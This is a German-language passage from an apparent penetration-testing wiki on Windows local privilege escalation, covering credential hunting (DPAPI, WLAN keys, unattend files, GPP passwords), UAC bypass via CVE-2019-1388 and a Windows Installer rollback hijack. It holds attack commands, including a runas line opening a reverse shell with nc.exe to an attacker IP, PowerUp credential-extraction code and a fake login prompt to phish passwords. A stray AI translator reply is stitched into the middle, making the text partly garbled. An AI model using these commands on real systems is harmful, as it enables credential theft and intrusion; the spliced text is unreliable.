Solange die Anwendungen nicht mit dem Credential Manager interagieren, denke ich nicht, dass es möglich ist, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung also den Vault nutzen möchte, sollte sie sich irgendwie mit dem Credential Manager austauschen und die Anmeldeinformationen für diese Ressource aus dem Standard-Speichervault anfordern.

Verwende den cmdkey, um die auf der Maschine gespeicherten Anmeldeinformationen aufzulisten.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Anschließend können Sie runas mit der Option /savecred verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Im folgenden Beispiel wird ein remote binary über einen SMB share aufgerufen.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Verwendung von runas mit einem bereitgestellten Satz von Anmeldedaten.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Beachte, dass mimikatz, lazagne, credentialfileview, VaultPasswordView, oder vom Empire Powershells module.

DPAPI

Die Data Protection API (DPAPI) stellt eine Methode zur symmetrischen Verschlüsselung von Daten bereit, die vorwiegend im Windows-Betriebssystem für die symmetrische Verschlüsselung asymmetrischer privater Schlüssel verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das maßgeblich zur Entropie beiträgt.

DPAPI ermöglicht die Verschlüsselung von Schlüsseln mittels eines symmetrischen Schlüssels, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird. In Szenarien mit Systemverschlüsselung nutzt es die Domain-Authentifizierungsgeheimnisse des Systems.

Verschlüsselte Benutzer-RSA-Schlüssel, die mittels DPAPI geschützt sind, werden im Verzeichnis %APPDATA%\Microsoft\Protect\{SID} gespeichert, wobei {SID} den Security Identifier des Benutzers darstellt. Der DPAPI-Schlüssel, der zusammen mit dem Master-Schlüssel, der die privaten Schlüssel des Benutzers in derselben Datei schützt, abgelegt ist, besteht typischerweise aus 64 bytes Zufallsdaten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist, sodass dessen Inhalt nicht mit dem dir-Befehl in CMD aufgelistet werden kann, wohl aber mit PowerShell.)

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Du kannst das mimikatz module dpapi::masterkey mit den entsprechenden Argumenten (/pvk oder /rpc) verwenden, um es zu entschlüsseln.

Die credentials files protected by the master password befinden sich normalerweise in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Du kannst mimikatz module dpapi::cred mit dem passenden /masterkey verwenden, um zu entschlüsseln.
Du kannst extract many DPAPI masterkeys aus memory mit dem sekurlsa::dpapi module extrahieren (wenn du root bist).

{{#ref}} dpapi-extracting-passwords.md {{#endref}}

PowerShell-Anmeldeinformationen

PowerShell-Anmeldeinformationen werden häufig für Skript- und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch DPAPI geschützt, was normalerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können.

Um eine PowerShell-Anmeldeinformation aus der Datei, die sie enthält, zu entschlüsseln, kannst du Folgendes tun:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

WLAN

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gespeicherte RDP-Verbindungen

Sie finden sie unter HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
und in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Kürzlich ausgeführte Befehle

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote-Desktop-Anmeldeinformationsverwaltung

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Verwende das Mimikatz dpapi::rdg Modul mit dem passenden /masterkey, um alle .rdg Dateien zu entschlüsseln
Du kannst mit dem Mimikatz sekurlsa::dpapi Modul viele DPAPI-Masterkeys aus dem Speicher extrahieren

Sticky Notes

Viele Benutzer verwenden häufig die StickyNotes-App auf Windows-Arbeitsstationen, um Passwörter zu speichern und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite und lohnt sich immer, danach zu suchen und sie zu untersuchen.

AppCmd.exe

Beachte, dass du zum Wiederherstellen von Passwörtern aus AppCmd.exe Administratorrechte benötigst und das Programm unter einem High Integrity level ausgeführt werden muss.
AppCmd.exe befindet sich im Verzeichnis %systemroot%\system32\inetsrv\.\
Wenn diese Datei existiert, ist es möglich, dass einige credentials konfiguriert wurden und wiederhergestellt werden können.

Dieser Code wurde aus PowerUP extrahiert:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Prüfe, ob C:\Windows\CCM\SCClient.exe existiert .
Installer werden mit SYSTEM-Rechten ausgeführt, viele sind anfällig für DLL Sideloading (Info von https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Dateien und Registry (Anmeldeinformationen)

Putty-Anmeldeinformationen

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host-Schlüssel

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in der Registry

SSH private keys können im Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys gespeichert werden, daher solltest du prüfen, ob sich dort etwas Interessantes befindet:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH key. Er ist verschlüsselt gespeichert, kann aber leicht mit https://github.com/ropnop/windows_sshagent_extract entschlüsselt werden.
Mehr Informationen zu dieser Technik: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Wenn der ssh-agent-Dienst nicht läuft und Sie möchten, dass er beim Systemstart automatisch startet, führen Sie aus:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Es sieht so aus, als wäre diese Technik nicht mehr gültig. Ich habe versucht, einige ssh keys zu erstellen, sie mit ssh-add hinzuzufügen und mich per ssh an einer Maschine anzumelden. Der Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat die Verwendung von dpapi.dll während der Authentifizierung mit asymmetrischen Schlüsseln nicht festgestellt.

Unbeaufsichtigte Dateien

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Sie können auch nach diesen Dateien mit metasploit suchen: post/windows/gather/enum_unattend

Beispielinhalt:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM Sicherungen

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud-Zugangsdaten

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Suche nach einer Datei namens SiteList.xml

Zwischengespeichertes GPP-Passwort

Es gab früher eine Funktion, die die Bereitstellung benutzerdefinierter lokaler Administratoraccounts auf einer Gruppe von Rechnern über Group Policy Preferences (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, verschlüsselt mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da es Benutzern erhöhte Rechte ermöglichen konnte.

Zur Minderung dieses Risikos wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein nicht leeres "cpassword"-Feld enthalten. Wird eine solche Datei gefunden, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über das GPP und den Speicherort der Datei, um die Identifizierung und Behebung dieser Sicherheitslücke zu unterstützen.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (vor Windows Vista) for these files:

Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml

Um das cPassword zu entschlüsseln:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec verwenden, um die passwords zu erhalten:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web-Konfiguration

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Beispiel für eine web.config mit Anmeldeinformationen:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN Zugangsdaten

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Nach Zugangsdaten fragen

Du kannst den Benutzer immer auffordern, seine Zugangsdaten oder sogar die Zugangsdaten eines anderen Benutzers einzugeben, wenn du glaubst, dass er sie kennen könnte (beachte, dass das direkte Fragen des Clients nach den Zugangsdaten wirklich riskant ist):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mögliche Dateinamen, die credentials enthalten

Bekannte Dateien, die vor einiger Zeit passwords in clear-text oder Base64 enthielten

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I don't have access to your repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the files you want translated), and I will translate the English text to German while preserving all markdown/html syntax and paths.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials in the RecycleBin

Sie sollten auch den Bin überprüfen, um nach Credentials darin zu suchen

Um Passwörter wiederherzustellen, die von verschiedenen Programmen gespeichert wurden, können Sie Folgendes verwenden: http://www.nirsoft.net/password_recovery_tools.html

In der Registry

Weitere mögliche Registry-Schlüssel mit Credentials

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Browser-Verlauf

You should check for dbs where passwords from Chrome or Firefox are stored.
Auch den Verlauf, Lesezeichen und Favoriten der Browser prüfen — möglicherweise sind dort Passwörter gespeichert.

Tools to extract passwords from browsers:

Mimikatz: dpapi::chrome
SharpWeb
SharpChromium
SharpDPAPI

COM DLL Overwriting

Component Object Model (COM) ist eine Technologie, die im Windows-Betriebssystem eingebettet ist und die Kommunikation zwischen Softwarekomponenten unterschiedlicher Programmiersprachen ermöglicht. Jede COM-Komponente wird über eine class ID (CLSID) identifiziert und jede Komponente stellt Funktionalität über ein oder mehrere Interfaces bereit, die über interface IDs (IIDs) identifiziert werden.

COM-Klassen und Interfaces sind in der Registry unter HKEY\CLASSES\ROOT\CLSID bzw. HKEY\CLASSES\ROOT\Interface definiert. Diese Registry entsteht durch das Zusammenführen von HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Innerhalb der CLSIDs dieser Registry findet man den Unterschlüssel InProcServer32, der einen default value enthält, der auf eine DLL zeigt, sowie einen Wert namens ThreadingModel, der Apartment (einzelner Thread), Free (mehrere Threads), Both (ein- oder mehrthreaded) oder Neutral (thread-neutral) sein kann.

Im Grunde gilt: Wenn Sie eine der auszuführenden DLLs überschreiben können, könnten Sie die Privilegien eskalieren, falls diese DLL von einem anderen Benutzer ausgeführt wird.

Um zu lernen, wie Angreifer COM Hijacking als Persistenzmechanismus verwenden, siehe:

{{#ref}} com-hijacking.md {{#endref}}

Generische Passwortsuche in Dateien und Registry

Nach Dateiinhalten suchen

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Nach einer Datei mit einem bestimmten Dateinamen suchen

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Durchsuche die Registry nach Schlüsselnamen und Passwörtern

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools, die nach Passwörtern suchen

MSF-Credentials Plugin is a msf Plugin. Ich habe dieses Plugin erstellt, um automatically execute every metasploit POST module that searches for credentials auf dem Opfer auszuführen.
Winpeas durchsucht automatisch alle Dateien, die Passwörter enthalten und auf dieser Seite erwähnt werden.
Lazagne ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren.

Das Tool SessionGopher durchsucht sessions, usernames und passwords mehrerer Programme, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Stell dir vor, dass ein Prozess, der als SYSTEM läuft, einen neuen Prozess öffnet (OpenProcess()) mit vollen Rechten. Derselbe Prozess erstellt außerdem einen neuen Prozess (CreateProcess()) mit geringen Privilegien, der jedoch alle offenen Handles des Hauptprozesses erbt.
Wenn du dann vollen Zugriff auf den wenig privilegierten Prozess hast, kannst du das offene Handle zum privilegierten Prozess, das mit OpenProcess() erstellt wurde, abgreifen und einen shellcode injizieren.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Shared memory segments, referred to as pipes, enable process communication and data transfer.

Windows stellt eine Funktion namens Named Pipes zur Verfügung, die es unabhängigen Prozessen erlaubt, Daten zu teilen, sogar über unterschiedliche Netzwerke. Dies ähnelt einer Client/Server-Architektur, mit Rollen definiert als named pipe server und named pipe client.

Wenn Daten von einem client durch eine pipe gesendet werden, kann der server, der die pipe eingerichtet hat, die Fähigkeit haben, die Identität des client anzunehmen, vorausgesetzt er besitzt die nötigen SeImpersonate-Rechte. Das Identifizieren eines privilegierten Prozesses, der über eine pipe kommuniziert, die du nachahmen kannst, bietet die Möglichkeit, höhere Privilegien zu erlangen, indem du die Identität dieses Prozesses annimmst, sobald er mit der von dir eingerichteten pipe interagiert. Anleitungen zum Ausführen eines solchen Angriffs findest du hier und hier.

Auch ermöglicht das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: https://github.com/gabriel-sztejnworcel/pipe-intercept und dieses Tool erlaubt, alle Pipes aufzulisten und zu sehen, um privescs zu finden https://github.com/cyberark/PipeViewer

Sonstiges

File Extensions that could execute stuff in Windows

Siehe die Seite https://filesec.io/

Monitoring Command Lines for passwords

Wenn man als Benutzer eine Shell erhält, kann es geplante Tasks oder andere Prozesse geben, die ausgeführt werden und dabei Anmeldeinformationen auf der Kommandozeile übergeben. Das untenstehende Skript erfasst die Prozess-Kommandozeilen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es etwaige Unterschiede ausgibt.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Wenn Sie Zugriff auf die grafische Oberfläche (über Konsole oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem nicht-privilegierten Benutzerkontext zu starten.

Dadurch ist es möglich, Privilegien zu eskalieren und gleichzeitig UAC mit derselben Schwachstelle zu umgehen. Außerdem muss nichts installiert werden, und die während des Vorgangs verwendete Binärdatei ist von Microsoft signiert und ausgestellt.

Some of the affected systems are the following:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

From Administrator Medium to High Integrity Level / UAC Bypass

Lies dies, um mehr über Integrity Levels zu lernen:

{{#ref}} integrity-levels.md {{#endref}}

Lies dann dies, um mehr über UAC und UAC-Bypässe zu erfahren:

{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

Die in diesem Blogbeitrag beschriebene Technik (in this blog post) mit einem Exploit-Code available here.

Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer auszunutzen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen bösartigen MSI-Installer erstellen, der dazu verwendet wird, den Ordner C:\Config.Msi zu kapern, der später vom Windows Installer verwendet wird, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern, wobei die Rollback-Dateien so verändert werden, dass sie die bösartige Nutzlast enthalten.

Die zusammengefasste Technik sieht wie folgt aus:

Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

Schritt 1: Install the MSI
Erstelle ein .msi, das eine harmlose Datei (z. B. dummy.txt) in einen beschreibbaren Ordner (TARGETDIR) installiert.
Markiere den Installer als "UAC Compliant", sodass ein nicht-administrativer Benutzer ihn ausführen kann.
Halte nach der Installation einen Handle auf die Datei offen.
Schritt 2: Begin Uninstall
Deinstalliere dasselbe .msi.
Der Deinstallationsprozess beginnt, Dateien nach C:\Config.Msi zu verschieben und sie in .rbf-Dateien (Rollback-Backups) umzubenennen.
Abfrage des offenen Handles mit GetFinalPathNameByHandle, um zu erkennen, wann die Datei zu C:\Config.Msi\<random>.rbf wird.
Schritt 3: Custom Syncing
Das .msi beinhaltet eine benutzerdefinierte Deinstallationsaktion (SyncOnRbfWritten), die:
signalisiert, wenn .rbf geschrieben wurde.
Dann auf ein anderes Event wartet, bevor die Deinstallation fortgesetzt wird.
Schritt 4: Block Deletion of .rbf
Wenn signalisiert, öffne die .rbf-Datei ohne FILE_SHARE_DELETE — das verhindert deren Löschung.
Dann gebe das Signal zurück, damit die Deinstallation beendet werden kann.
Der Windows Installer kann die .rbf nicht löschen, und weil er nicht alle Inhalte löschen kann, wird C:\Config.Msi nicht entfernt.
Schritt 5: Manually Delete .rbf
Du (Angreifer) löschst die .rbf-Datei manuell.
Jetzt ist C:\Config.Msi leer und bereit zur Übernahme.

An diesem Punkt, löse die SYSTEM-level arbitrary folder delete vulnerability aus, um C:\Config.Msi zu löschen.

Stage 2 – Replacing Rollback Scripts with Malicious Ones

Schritt 6: Recreate C:\Config.Msi with Weak ACLs
Erstelle den Ordner C:\Config.Msi selbst neu.
Setze schwache DACLs (z. B. Everyone:F), und halte einen Handle mit WRITE_DAC offen.
Schritt 7: Run Another Install
Installiere das .msi erneut mit:
TARGETDIR: beschreibbarer Ort.
ERROROUT: Eine Variable, die einen erzwungenen Fehler auslöst.
Diese Installation wird verwendet, um erneut einen Rollback auszulösen, der .rbs und .rbf liest.
Schritt 8: Monitor for .rbs
Verwende ReadDirectoryChangesW, um C:\Config.Msi zu überwachen, bis eine neue .rbs erscheint.
Erfasse deren Dateinamen.
Schritt 9: Sync Before Rollback
Das .msi enthält eine benutzerdefinierte Installationsaktion (SyncBeforeRollback), die:
ein Event signalisiert, wenn die .rbs erstellt wurde.
Dann wartet, bevor sie fortfährt.
Schritt 10: Reapply Weak ACL
Nachdem das rbs created-Event empfangen wurde:
Wendet der Windows Installer starke ACLs auf C:\Config.Msi an.
Da du jedoch noch einen Handle mit WRITE_DAC offen hast, kannst du die schwachen ACLs erneut setzen.

ACLs werden nur beim Öffnen eines Handles durchgesetzt, daher kannst du weiterhin in den Ordner schreiben.

Schritt 11: Drop Fake .rbs and .rbf
